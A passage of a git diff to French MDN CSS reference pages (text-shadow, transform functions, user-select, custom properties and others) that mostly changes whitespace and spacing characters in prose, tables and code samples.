mots mis en avant ». +{{EmbedInteractiveExample("pages/css/text-decoration.html")}}Ces décorations se propagent sur les différents éléments enfants. Cela signifie qu'il n'est pas possible de désactiver la décoration d'un élément descendant pour lequel un ancêtre est décoré. Par exemple, avec ce fragment de HTML `<p>Ce texte a <em> des mots mis en avant</em> dedans.</p>`, et cette règle CSS `p { text-decoration: underline; }`, on aura tout le paragraphe souligné, même si on applique la règle `em { text-decoration: none; }`, cela n'aurait aucun impact. En revanche, ajouter la règle `em { text-decoration: overline; }` entraînerait un cumul des décorations pour « des mots mis en avant ». > **Note :** La spécification CSS Text Decoration de niveau 3 indique que cette propriété est une propriété raccourcie pour les trois propriétés {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}} et {{cssxref("text-decoration-style")}}. Comme pour les autres propriétés raccourcies, cela signifie que la valeur de chaque « sous-propriété » est réinitialisée avec sa valeur par défaut si elle n'est pas explicitement définie dans la propriété raccourcie. diff --git a/files/fr/web/css/text-emphasis-position/index.md b/files/fr/web/css/text-emphasis-position/index.md index 723c88c987..a1609f5de4 100644 --- a/files/fr/web/css/text-emphasis-position/index.md +++ b/files/fr/web/css/text-emphasis-position/index.md @@ -33,7 +33,7 @@ text-emphasis-position: unset; ## Position privilégiée -La position des marques d'emphase varie en fonction du langage. Par exemple, en japonais, on préfère les placer au dessus à droite. En revanche, pour le chinois, on préfèrera en bas à droite. Le tableau qui suit illustre les différences, notamment entre le chinois, le mongolien et le japonais : +La position des marques d'emphase varie en fonction du langage. Par exemple, en japonais, on préfère les placer au dessus à droite. En revanche, pour le chinois, on préfèrera en bas à droite. Le tableau qui suit illustre les différences, notamment entre le chinois, le mongolien et le japonais : <table> <caption> diff --git a/files/fr/web/css/text-justify/index.md b/files/fr/web/css/text-justify/index.md index 7cb0bb2de3..380c5e88e3 100644 --- a/files/fr/web/css/text-justify/index.md +++ b/files/fr/web/css/text-justify/index.md @@ -32,7 +32,7 @@ La propriété `text-justify` peut être définie grâce à l'un des mots-clés - `inter-word` - : Le texte est justifié en ajustant les espaces entre les mots (en faisant varier {{cssxref("word-spacing")}}) ; cette propriété est appropriée pour les langues qui séparent les mots avec des espaces, comme le Français ou le Coréen. - `inter-character` - - : Le texte est justifié en ajustant les espaces entre les caractères (en faisant varier {{cssxref("letter-spacing")}}) ; cette propritété est plus appropriée pour des langues comme le Japonais. + - : Le texte est justifié en ajustant les espaces entre les caractères (en faisant varier {{cssxref("letter-spacing")}}) ; cette propritété est plus appropriée pour des langues comme le Japonais. - `distribute` {{deprecated_inline}} - : Même effet que `inter-character` ; cette valeur sert uniquement à de fins de compatibilité. @@ -87,7 +87,7 @@ p { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('CSS3 Text', '#text-justify-property', 'text-justify')}} | {{Spec2('CSS3 Text')}} | | +| {{SpecName('CSS3 Text', '#text-justify-property', 'text-justify')}} | {{Spec2('CSS3 Text')}} | | {{cssinfo}} diff --git a/files/fr/web/css/text-overflow/index.md b/files/fr/web/css/text-overflow/index.md index 4fd812b457..2fbdf2d945 100644 --- a/files/fr/web/css/text-overflow/index.md +++ b/files/fr/web/css/text-overflow/index.md @@ -11,9 +11,9 @@ La propriété **`text-overflow`** définit la façon dont le contenu textuel qu Le rognage se fera à la bordure de la boîte. Afin que le rognage se fasse plus tôt, à la limite des caractères, on peut utiliser la chaîne vide (`''`). -Cette propriété n'affecte que le contenu qui dépasse de la boîte englobante dans le sens de la progression en ligne. Par exemple, on ne parle pas ici du texte qui dépasserait vers le bas d'une boîte. Le texte peut dépasser lorsqu'on empêche le retour automatique à la ligne (par exemple avec `white-space: nowrap`) ou lorsqu'un seul mot est trop long pour tenir dans le conteneur. +Cette propriété n'affecte que le contenu qui dépasse de la boîte englobante dans le sens de la progression en ligne. Par exemple, on ne parle pas ici du texte qui dépasserait vers le bas d'une boîte. Le texte peut dépasser lorsqu'on empêche le retour automatique à la ligne (par exemple avec `white-space: nowrap`) ou lorsqu'un seul mot est trop long pour tenir dans le conteneur. -Cette propriété CSS ne force pas le dépassement. Pour ce faire et afin que `text-overflow` soit appliqué, l'auteur devra ajouter des propriétés supplémentaires sur l'élément, notamment : {{cssxref("overflow")}} avec `hidden` et {{cssxref("white-space")}} avec `nowrap`. +Cette propriété CSS ne force pas le dépassement. Pour ce faire et afin que `text-overflow` soit appliqué, l'auteur devra ajouter des propriétés supplémentaires sur l'élément, notamment : {{cssxref("overflow")}} avec `hidden` et {{cssxref("white-space")}} avec `nowrap`. ## Syntaxe diff --git a/files/fr/web/css/text-shadow/index.md b/files/fr/web/css/text-shadow/index.md index 33daa71ad3..bdc5fcfc4d 100644 --- a/files/fr/web/css/text-shadow/index.md +++ b/files/fr/web/css/text-shadow/index.md @@ -5,7 +5,7 @@ translation_of: Web/CSS/text-shadow --- {{CSSRef}} -La propriété **`text-shadow`** ajoute des ombres au texte. Elle accepte une liste d'ombres à appliquer au texte et aux [décorations](/fr/docs/Web/CSS/text-decoration) de l'élément. Chaque ombre est décrite par une certaine combinaison de décalages X et Y de l'élément, de rayon de flou et de couleur. +La propriété **`text-shadow`** ajoute des ombres au texte. Elle accepte une liste d'ombres à appliquer au texte et aux [décorations](/fr/docs/Web/CSS/text-decoration) de l'élément. Chaque ombre est décrite par une certaine combinaison de décalages X et Y de l'élément, de rayon de flou et de couleur. {{EmbedInteractiveExample("pages/css/text-shadow.html")}} @@ -36,20 +36,20 @@ text-shadow: unset; Cette propriété est spécifiée comme une liste d'ombres séparées par des virgules. -Chaque ombre est spécifiée par deux ou trois valeurs `<length>`, suivies d'une valeur `<color>`. Les deux premières valeurs `<length>` sont les valeurs `<decalage-x>` et `<decalage-y>`. La troisième valeur `<length>`, facultative, est le `<rayon-de-flou>`. La valeur `<color>` est la couleur de l'ombre. +Chaque ombre est spécifiée par deux ou trois valeurs `<length>`, suivies d'une valeur `<color>`. Les deux premières valeurs `<length>` sont les valeurs `<decalage-x>` et `<decalage-y>`. La troisième valeur `<length>`, facultative, est le `<rayon-de-flou>`. La valeur `<color>` est la couleur de l'ombre. -Lorsque plus d'une ombre est indiquée, les ombres sont appliquées d'avant en arrière, avec la première ombre spécifiée sur le dessus. +Lorsque plus d'une ombre est indiquée, les ombres sont appliquées d'avant en arrière, avec la première ombre spécifiée sur le dessus. Cette propriété s'applique aux deux [pseudo-éléments](/fr/docs/Web/CSS/Pseudo-éléments) {{cssxref("::first-line")}} et {{cssxref("::first-letter")}}. ### Valeurs - {{cssxref("<color>")}} - - : Optionnelle. La couleur de l'ombre. Elle peut être spécifiée avant ou après les valeurs de décalage. Si non spécifiée, la valeur de la couleur est laissée à l'agent utilisateur, donc quand une cohérence entre les navigateurs est désirée, vous devriez la définir explicitement. + - : Optionnelle. La couleur de l'ombre. Elle peut être spécifiée avant ou après les valeurs de décalage. Si non spécifiée, la valeur de la couleur est laissée à l'agent utilisateur, donc quand une cohérence entre les navigateurs est désirée, vous devriez la définir explicitement. - \<decalage-x> \<decalage-y> - - : Obligatoires. Ces valeurs {{cssxref("<length>")}} définissent la distance de l'ombre par rapport au texte. `<decalage-x>` définit la distance horizontale ; une valeur négative place l'ombre à gauche du texte. `<decalage-y>` définit la distance verticale ; une valeur négative place l'ombre au-dessus du texte. Si les deux valeurs sont à `0`, l'ombre sera placée exactement derrière le texte, bien qu'elle puisse être partiellement visible du fait de l'effet du `<rayon-de-flou>`). + - : Obligatoires. Ces valeurs {{cssxref("<length>")}} définissent la distance de l'ombre par rapport au texte. `<decalage-x>` définit la distance horizontale ; une valeur négative place l'ombre à gauche du texte. `<decalage-y>` définit la distance verticale ; une valeur négative place l'ombre au-dessus du texte. Si les deux valeurs sont à `0`, l'ombre sera placée exactement derrière le texte, bien qu'elle puisse être partiellement visible du fait de l'effet du `<rayon-de-flou>`). - \<rayon-de-flou> - - : Optionnel. C'est une valeur {{cssxref("<length>")}}). Plus la valeur sera élevée, plus le flou sera important ; l'ombre deviendra plus large et plus légère. Si non utilisée, elle a pour défaut `0`. + - : Optionnel. C'est une valeur {{cssxref("<length>")}}). Plus la valeur sera élevée, plus le flou sera important ; l'ombre deviendra plus large et plus légère. Si non utilisée, elle a pour défaut `0`. ### Syntaxe formelle @@ -95,8 +95,8 @@ Cette propriété s'applique aux deux [pseudo-éléments](/fr/docs/Web/CSS/Pseud | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}} | {{Spec2('CSS3 Transitions')}} | Spécifie `text-shadow` comme animable. | -| {{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow')}} | {{Spec2('CSS3 Text Decoration')}} | La propriété CSS `text-shadow` était [incorrectement définie dans CSS2](https://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props) et fut abandonnée dans CSS2 (Level 1). La spéc CSS Text Module Level 3 a raffiné la syntaxe. Ensuite, elle a été déplacée dans [CSS Text Decoration Module Level 3](https://www.w3.org/TR/css-text-decor-3/). | +| {{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}} | {{Spec2('CSS3 Transitions')}} | Spécifie `text-shadow` comme animable. | +| {{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow')}} | {{Spec2('CSS3 Text Decoration')}} | La propriété CSS `text-shadow` était [incorrectement définie dans CSS2](https://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props) et fut abandonnée dans CSS2 (Level 1). La spéc CSS Text Module Level 3 a raffiné la syntaxe. Ensuite, elle a été déplacée dans [CSS Text Decoration Module Level 3](https://www.w3.org/TR/css-text-decor-3/). | {{cssinfo}} @@ -104,13 +104,13 @@ Cette propriété s'applique aux deux [pseudo-éléments](/fr/docs/Web/CSS/Pseud {{Compat("css.properties.text-shadow")}} -### Notes CSS Quantum +### Notes CSS Quantum -- Gecko présente un bug en raison duquel les {{cssxref("transition")}}s ne fonctionnent pas lors d'une transition entre une `text-shadow` avec une couleur spécifiée et une `ext-shadow` sans couleur spécifiée ({{bug(726550)}}). Cela a été corrigé dans le nouveau moteur CSS (aussi connu comme [Quantum CSS](https://wiki.mozilla.org/Quantum) ou [Stylo](https://wiki.mozilla.org/Quantum/Stylo)), prévu pour être disponible dans Firefox 57. +- Gecko présente un bug en raison duquel les {{cssxref("transition")}}s ne fonctionnent pas lors d'une transition entre une `text-shadow` avec une couleur spécifiée et une `ext-shadow` sans couleur spécifiée ({{bug(726550)}}). Cela a été corrigé dans le nouveau moteur CSS (aussi connu comme [Quantum CSS](https://wiki.mozilla.org/Quantum) ou [Stylo](https://wiki.mozilla.org/Quantum/Stylo)), prévu pour être disponible dans Firefox 57. ## Voir aussi -- [Text Shadow Generator](https://cssgenerator.org/text-shadow-css-generator.html) - Un générateur CSS d'ombre de texte interactif +- [Text Shadow Generator](https://cssgenerator.org/text-shadow-css-generator.html) - Un générateur CSS d'ombre de texte interactif - {{cssxref("box-shadow")}} - Le type de données {{cssxref("<color>")}} (pour spécifier la couleur d'ombre) - [Appliquer des couleurs sur des éléments HTML](/fr/docs/Web/HTML/Applying_color) diff --git a/files/fr/web/css/time-percentage/index.md b/files/fr/web/css/time-percentage/index.md index 7d979c4362..61f85952df 100644 --- a/files/fr/web/css/time-percentage/index.md +++ b/files/fr/web/css/time-percentage/index.md @@ -23,7 +23,7 @@ Lorsqu'une valeur de type `<time-percentage>` est autorisée dans une déclarati | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------------------------------- | -| {{SpecName('CSS4 Values', '#mixed-percentages', '<time-percentage>')}} | {{Spec2('CSS4 Values')}} | | +| {{SpecName('CSS4 Values', '#mixed-percentages', '<time-percentage>')}} | {{Spec2('CSS4 Values')}} | | | {{SpecName('CSS3 Values', '#mixed-percentages', '<time-percentage>')}} | {{Spec2('CSS3 Values')}} | Définition du type `<time-percentage>`. Ajout de `calc()` | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/time/index.md b/files/fr/web/css/time/index.md index c60d751bfc..f96c31af0c 100644 --- a/files/fr/web/css/time/index.md +++ b/files/fr/web/css/time/index.md @@ -51,7 +51,7 @@ La conversion entre `s` et `ms` suit la logique suivante : `1s = 1000ms`. | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | -------------------------------- | ------------------------------------ | -| {{SpecName('CSS4 Values','#time','<time>')}} | {{Spec2('CSS4 Values')}} | | +| {{SpecName('CSS4 Values','#time','<time>')}} | {{Spec2('CSS4 Values')}} | | | {{SpecName('CSS3 Values','#time','<time>')}} | {{Spec2('CSS3 Values')}} | Définition normative de `s` et `ms` | | {{SpecName('CSS2.1','aural.html#times','<time>')}} | {{Spec2('CSS2.1')}} | Définition informelle de `s` et `ms` | diff --git a/files/fr/web/css/top/index.md b/files/fr/web/css/top/index.md index ed3aa1d772..de84e8a8a2 100644 --- a/files/fr/web/css/top/index.md +++ b/files/fr/web/css/top/index.md @@ -115,13 +115,13 @@ p.relatif { ```css div { - border: 2px black dashed; + border: 2px black dashed; } p.absolu { - position: absolute; - top: 5em; - border: 2px black solid; + position: absolute; + top: 5em; + border: 2px black solid; } ``` diff --git a/files/fr/web/css/transform-function/index.md b/files/fr/web/css/transform-function/index.md index c82da2eb3b..5edd5bb473 100644 --- a/files/fr/web/css/transform-function/index.md +++ b/files/fr/web/css/transform-function/index.md @@ -95,7 +95,7 @@ Plusieurs fonctions sont disponibles en CSS pour décrire des transformations. C - [`translate3d()`](</fr/docs/Web/CSS/transform-function/translate3d()>) - : La fonction `translate3d()` permet de déplacer un élément dans l'espace en 3D. Cette transformation est caractérisée par un vecteur en 3 dimensions dont les coordonnées définissent les quantités de déplacement respectives aux trois axes. - [`translateX()`](/fr/docs/orphaned/Web/CSS/transform-function/translateX) - - : La fonction `translateX()` permet de déplacer un élément horizontalement dans le plan. Cette transformation est caractérisée par une valeur de type {{cssxref("<length>")}} qui définit la quantité de déplacement horizontal. `translateX(tx)`est une notation raccourcie pour `translate(tx, 0)`. + - : La fonction `translateX()` permet de déplacer un élément horizontalement dans le plan. Cette transformation est caractérisée par une valeur de type {{cssxref("<length>")}} qui définit la quantité de déplacement horizontal. `translateX(tx)`est une notation raccourcie pour `translate(tx, 0)`. - [`translateY()`](</fr/docs/Web/CSS/transform-function/translateY()>) - : La fonction `translateY()` permet de déplacer un élément verticalement dans le plan. Cette transformation est caractérisée par une valeur de type {{cssxref("<length>")}} qui définit la quantité de déplacement vertical. `translateY(ty)` est une notation raccourcie pour `translate(0, ty)`. - [`translateZ()`](</fr/docs/Web/CSS/transform-function/translateZ()>) diff --git a/files/fr/web/css/transform-function/rotate3d()/index.md b/files/fr/web/css/transform-function/rotate3d()/index.md index eae07a3074..0dde6dc4b9 100644 --- a/files/fr/web/css/transform-function/rotate3d()/index.md +++ b/files/fr/web/css/transform-function/rotate3d()/index.md @@ -10,7 +10,7 @@ La fonction **`rotate3d()`** définit une transformation qui déplace un éléme {{EmbedInteractiveExample("pages/css/rotate3d.html")}} -Dans l'espace (en trois dimensions), les rotations ont trois degrés de liberté qui définissent l'axe de rotation. Cet axe est défini par un vecteur `[x, y, z]` et passe par l'origine du repère (définie grâce à la propriété [`transform-origin`](/fr/docs/Web/CSS/transform-origin)). Si le vecteur n'est pas normalisé (autrement dit, si la somme des carrés de ses trois composantes ne vaut pas 1), il sera normalisé par le moteur. Un vecteur qui ne peut être normalisé (par exemple le vecteur nul `[0, 0, 0]`) empêchera la rotation d'être appliquée mais la propriété CSS restera valide. +Dans l'espace (en trois dimensions), les rotations ont trois degrés de liberté qui définissent l'axe de rotation. Cet axe est défini par un vecteur `[x, y, z]` et passe par l'origine du repère (définie grâce à la propriété [`transform-origin`](/fr/docs/Web/CSS/transform-origin)). Si le vecteur n'est pas normalisé (autrement dit, si la somme des carrés de ses trois composantes ne vaut pas 1), il sera normalisé par le moteur. Un vecteur qui ne peut être normalisé (par exemple le vecteur nul `[0, 0, 0]`) empêchera la rotation d'être appliquée mais la propriété CSS restera valide. > **Note :** Contrairement aux rotations appliquées dans le plan, la composition de rotations dans l'espace n'est pas commutative. Autrement dit, l'ordre dans lequel on applique les rotations est déterminant. diff --git a/files/fr/web/css/transform-function/scaley()/index.md b/files/fr/web/css/transform-function/scaley()/index.md index 0b1d7315d5..7120a92d34 100644 --- a/files/fr/web/css/transform-function/scaley()/index.md +++ b/files/fr/web/css/transform-function/scaley()/index.md @@ -30,7 +30,7 @@ scaleY(s) <tr> <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th> <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th> - <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th> + <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th> <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th> </tr> </thead> diff --git a/files/fr/web/css/transform-function/translate()/index.md b/files/fr/web/css/transform-function/translate()/index.md index c51a505285..8c2bb5b265 100644 --- a/files/fr/web/css/transform-function/translate()/index.md +++ b/files/fr/web/css/transform-function/translate()/index.md @@ -28,7 +28,7 @@ transform: translate(30%, 50%); ### Valeurs - Avec une seule valeur `<length-percentage>` - - : Cette valeur est de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) et représente l'abscisse (la coordonnée horizontale) du vecteur de translation. La composante verticale du vecteur de translation sera nulle. Ainsi, `translate(2px)` est équivalent à `translate(2px, 0)`. Une valeur en pourcentage sera relative à la largeur de la boîte de référence définie par la propriété [`transform-box`](/fr/docs/Web/CSS/transform-box). + - : Cette valeur est de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) et représente l'abscisse (la coordonnée horizontale) du vecteur de translation. La composante verticale du vecteur de translation sera nulle. Ainsi, `translate(2px)` est équivalent à `translate(2px, 0)`. Une valeur en pourcentage sera relative à la largeur de la boîte de référence définie par la propriété [`transform-box`](/fr/docs/Web/CSS/transform-box). - Avec deux valeurs `<length-percentage>` - : Ces valeurs sont de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) et décrivent respectivement l'abscisse (la coordonnée horizontale) et l'ordonnée (la coordonnée verticale) du vecteur de translation. Un premier pourcentage sera relatif à la largeur de la boîte de référence et un deuxième pourcentage sera relatif à sa hauteur (la boîte de référence étant définie par la propriété [`transform-box`](/fr/docs/Web/CSS/transform-box)). diff --git a/files/fr/web/css/transform-function/translate3d()/index.md b/files/fr/web/css/transform-function/translate3d()/index.md index feb4b031dc..f70578696e 100644 --- a/files/fr/web/css/transform-function/translate3d()/index.md +++ b/files/fr/web/css/transform-function/translate3d()/index.md @@ -21,9 +21,9 @@ translate3d(tx, ty, tz) ### Valeurs - `tx` - - : Une valeur de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) qui représente l'abscisse du vecteur de translation (équivalente au déplacement horizontal). + - : Une valeur de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) qui représente l'abscisse du vecteur de translation (équivalente au déplacement horizontal). - `ty` - - : Une valeur de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) qui représente l'ordonnée du vecteur de translation (équivalente au déplacement vertical). + - : Une valeur de type [`<length>`](/fr/docs/Web/CSS/length) ou [`<percentage>`](/fr/docs/Web/CSS/percentage) qui représente l'ordonnée du vecteur de translation (équivalente au déplacement vertical). - `tz` - : Une valeur de type [`<length>`](/fr/docs/Web/CSS/length) qui représente la composante en profondeur du vecteur de translation (équivalente au déplacement en profondeur). La valeur ne peut pas être de type [`<percentage>`](/fr/docs/Web/CSS/percentage), si c'est le cas, la règle décrivant la transformation sera considérée comme invalide. diff --git a/files/fr/web/css/transform-function/translatey()/index.md b/files/fr/web/css/transform-function/translatey()/index.md index fdd27c602c..e2c7779624 100644 --- a/files/fr/web/css/transform-function/translatey()/index.md +++ b/files/fr/web/css/transform-function/translatey()/index.md @@ -30,7 +30,7 @@ transform: translateY(50%); <tr> <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th> <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th> - <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th> + <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th> <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th> </tr> </thead> diff --git a/files/fr/web/css/translate/index.md b/files/fr/web/css/translate/index.md index 0016830cda..ac7256551b 100644 --- a/files/fr/web/css/translate/index.md +++ b/files/fr/web/css/translate/index.md @@ -35,7 +35,7 @@ translate: 50% 105px 5rem; - Une seule valeur de longueur/pourcentage ({{cssxref("<length-percentage>")}}) - : Une longueur ({{cssxref("<length>")}}) ou un pourcentage ({{cssxref("<percentage>")}}) qui définit une translation en deux dimensions. La translation est la même pour l'axe X et l'axe Y. Cela est équivalent à la fonction `translate()` (translation en deux dimensions) avec une seule valeur. - Deux valeurs de longueur/pourcentage ({{cssxref("<length-percentage>")}}) - - : Deux longueurs ({{cssxref("<length>")}}) ou pourcentages ({{cssxref("<percentage>")}}) qui définissent respectivement les composantes horizontale et verticale d'une translation en deux dimensions. Cela est équivalent à la fonction `translate()` appelée avec ces deux arguments. + - : Deux longueurs ({{cssxref("<length>")}}) ou pourcentages ({{cssxref("<percentage>")}}) qui définissent respectivement les composantes horizontale et verticale d'une translation en deux dimensions. Cela est équivalent à la fonction `translate()` appelée avec ces deux arguments. - Trois valeurs - : Deux valeurs de longueur/pourcentage ({{cssxref("<length-percentage>")}}) et une longueur ({{cssxref("<length>")}}) qui définissent respectivement les composantes horizontale, verticale et en profondeur de la translation en trois dimensions. Cela est équivalent à la fonction `translate3d()` appelée avec ces trois arguments. - `none` @@ -51,7 +51,7 @@ translate: 50% 105px 5rem; ```html <div> - <p class="translate">Translation</p> + <p class="translate">Translation</p> </div> ``` diff --git a/files/fr/web/css/translation-value/index.md b/files/fr/web/css/translation-value/index.md index 369e797128..689e9e7992 100644 --- a/files/fr/web/css/translation-value/index.md +++ b/files/fr/web/css/translation-value/index.md @@ -19,7 +19,7 @@ Un argument `<translation-value>` peut être une valeur de type {{cssxref("<l | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ------------ | -| {{SpecName('CSS3 Transforms', '#transform-functions', 'The Transform Functions')}} | {{Spec2('CSS3 Transforms')}} | | +| {{SpecName('CSS3 Transforms', '#transform-functions', 'The Transform Functions')}} | {{Spec2('CSS3 Transforms')}} | | ## Voir aussi diff --git a/files/fr/web/css/type_selectors/index.md b/files/fr/web/css/type_selectors/index.md index 307773af45..89af40603d 100644 --- a/files/fr/web/css/type_selectors/index.md +++ b/files/fr/web/css/type_selectors/index.md @@ -51,7 +51,7 @@ span { | -------------------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | | {{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}} | {{Spec2('CSS4 Selectors')}} | Aucune modification. | | {{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}} | {{Spec2('CSS3 Selectors')}} | Aucune modification. | -| {{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1', '#basic-concepts', 'type selectors')}} | {{Spec2('CSS1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/unicode-bidi/index.md b/files/fr/web/css/unicode-bidi/index.md index 485461bb80..09d4ba0d18 100644 --- a/files/fr/web/css/unicode-bidi/index.md +++ b/files/fr/web/css/unicode-bidi/index.md @@ -58,8 +58,8 @@ unicode-bidi: unset; ```css .bible-quote { - direction: rtl; - unicode-bidi: embed; + direction: rtl; + unicode-bidi: embed; } ``` diff --git a/files/fr/web/css/used_value/index.md b/files/fr/web/css/used_value/index.md index 894df5e40c..74ec2c2d3f 100644 --- a/files/fr/web/css/used_value/index.md +++ b/files/fr/web/css/used_value/index.md @@ -13,7 +13,7 @@ original_slug: Web/CSS/Valeur_utilisée La **valeur utilisée** de n'importe quelle propriété CSS est la valeur finale d'une propriété après que tous les calculs aient été réalisés. -Une fois qu'un agent utilisateur a terminé les calculs, chaque propriété CSS possède une valeur utilisée. Les valeurs utilisées des dimensions (par exemple `width`, `height`) sont exprimées en pixels et les propriétés raccourcies (comme `background`) sont cohérentes avec leurs propriétés composantes (par exemple `background-color`), `display` est cohérente avec `position` et `float`. +Une fois qu'un agent utilisateur a terminé les calculs, chaque propriété CSS possède une valeur utilisée. Les valeurs utilisées des dimensions (par exemple `width`, `height`) sont exprimées en pixels et les propriétés raccourcies (comme `background`) sont cohérentes avec leurs propriétés composantes (par exemple `background-color`), `display` est cohérente avec `position` et `float`. Les valeurs utilisées pour certaines propriétés peuvent être retrouvées en appelant la méthode JavaScript [`window.getComputedStyle()`](/fr/docs/DOM/window.getComputedStyle). @@ -24,7 +24,7 @@ Quatre étapes permettent de déterminer la valeur finale de n'importe quelle pr 1. Tout d'abord, la [valeur spécifiée](/fr/docs/CSS/Valeur_spécifiée) est le résultat de la cascade (on choisit la règle la plus spécifique qui change la propriété), de l'[héritage](/fr/docs/CSS/Héritage) (on utilise la valeur calculée d'un parent si la propriété peut être héritée) ou alors c'est la valeur par défaut est utilisée. 2. Ensuite, la [valeur calculée](/fr/docs/CSS/Valeur_calculée) est déterminée selon la spécification (par exemple, un `span` avec `position: absolute` aura `display` qui passera à `block` pour la valeur calculée). 3. Ensuite, la mise en page est calculée (les dimensions qui ont pour valeur `auto` ou des pourcentages relatifs à des parents sont remplacées par des valeurs en pixels), et le résultat est la **valeur utilisée**. -4. Enfin, la valeur est transformée selon les limites de l'environnement actuel, le résultat est [la valeur réelle](/fr/docs/Web/CSS/valeur_reelle). La valeur finalement utilisée est la valeur réelle, éventuellement approximée en fonction des contraintes de l'agent utilisateur. Ces valeurs sont calculées de manière interne ; un script peut seulement lire les valeurs utilisées finales grâce à [`window.getComputedStyle`](/fr/docs/DOM/window.getComputedStyle) (bien que cette méthode peut renvoyer la valeur calculée selon la propriété, la valeur renvoyée par cette méthode est généralement appelée [valeur résolue](/fr/docs/Web/CSS/valeur_r%C3%A9solue)). +4. Enfin, la valeur est transformée selon les limites de l'environnement actuel, le résultat est [la valeur réelle](/fr/docs/Web/CSS/valeur_reelle). La valeur finalement utilisée est la valeur réelle, éventuellement approximée en fonction des contraintes de l'agent utilisateur. Ces valeurs sont calculées de manière interne ; un script peut seulement lire les valeurs utilisées finales grâce à [`window.getComputedStyle`](/fr/docs/DOM/window.getComputedStyle) (bien que cette méthode peut renvoyer la valeur calculée selon la propriété, la valeur renvoyée par cette méthode est généralement appelée [valeur résolue](/fr/docs/Web/CSS/valeur_r%C3%A9solue)). ## Différence avec les valeurs calculées diff --git a/files/fr/web/css/user-select/index.md b/files/fr/web/css/user-select/index.md index df5a54f37b..c39adabb62 100644 --- a/files/fr/web/css/user-select/index.md +++ b/files/fr/web/css/user-select/index.md @@ -50,8 +50,8 @@ user-select: unset; - Pour les pseudo-éléments `::before` et `::after`, la valeur calculée sera `none` - Si l'élément est un élément éditable, la valeur calculée est `contain` - - Sinon, si la valeur calculée de `user-select` pour l'élément parent est `all`, la valeur calculée sera `all` - - Sinon, si la valeur calculée de `user-select` pour l'élément parent est `all`, la valeur calculée sera `none` + - Sinon, si la valeur calculée de `user-select` pour l'élément parent est `all`, la valeur calculée sera `all` + - Sinon, si la valeur calculée de `user-select` pour l'élément parent est `all`, la valeur calculée sera `none` - Sinon, la valeur calculée est `text` - `text` diff --git a/files/fr/web/css/using_css_custom_properties/index.md b/files/fr/web/css/using_css_custom_properties/index.md index 8151f52856..f8961efef3 100644 --- a/files/fr/web/css/using_css_custom_properties/index.md +++ b/files/fr/web/css/using_css_custom_properties/index.md @@ -5,7 +5,7 @@ translation_of: Web/CSS/Using_CSS_custom_properties --- {{CSSRef}} -**Les propriétés personnalisées CSS** (_custom properties_ en anglais, aussi parfois appelés **variables CSS**) sont des entités définies par les développeurs ou les utilisateurs d'une page Web, contenant des valeurs spécifiques utilisables à travers le document. Elles sont initialisées avec des propriétés personnalisées (par exemple **`--main-color: black;`**) et accessibles en utilisant la notation spécifique {{cssxref("var", "var()")}} (par exemple : **`color: var(--main-color);`**). +**Les propriétés personnalisées CSS** (_custom properties_ en anglais, aussi parfois appelés **variables CSS**) sont des entités définies par les développeurs ou les utilisateurs d'une page Web, contenant des valeurs spécifiques utilisables à travers le document. Elles sont initialisées avec des propriétés personnalisées (par exemple **`--main-color: black;`**) et accessibles en utilisant la notation spécifique {{cssxref("var", "var()")}} (par exemple : **`color: var(--main-color);`**). Des sites et applications web complexes peuvent avoir des feuilles de style où de nombreuses valeurs sont répétées. Ainsi, la même couleur pourra être utilisée à des centaines d'endroits où il faudra la mettre à jour si besoin. Les propriétés personnalisées permettent de stocker une valeur à un endroit puis de réutiliser cette valeur (on factorise ainsi le code). @@ -31,18 +31,18 @@ element { Lors de l'élaboration de sites de grande envergure, leurs auteurs font parfois face à des soucis de maintenabilité. De grandes feuilles de styles sont utilisées et de nombreuses informations se répètent. Par exemple, maintenir un thème de couleurs à travers un document nécessite la réutilisation des valeurs des couleurs à plusieurs endroits dans les fichiers CSS. Modifier un thème, en changeant une couleur ou en le récrivant 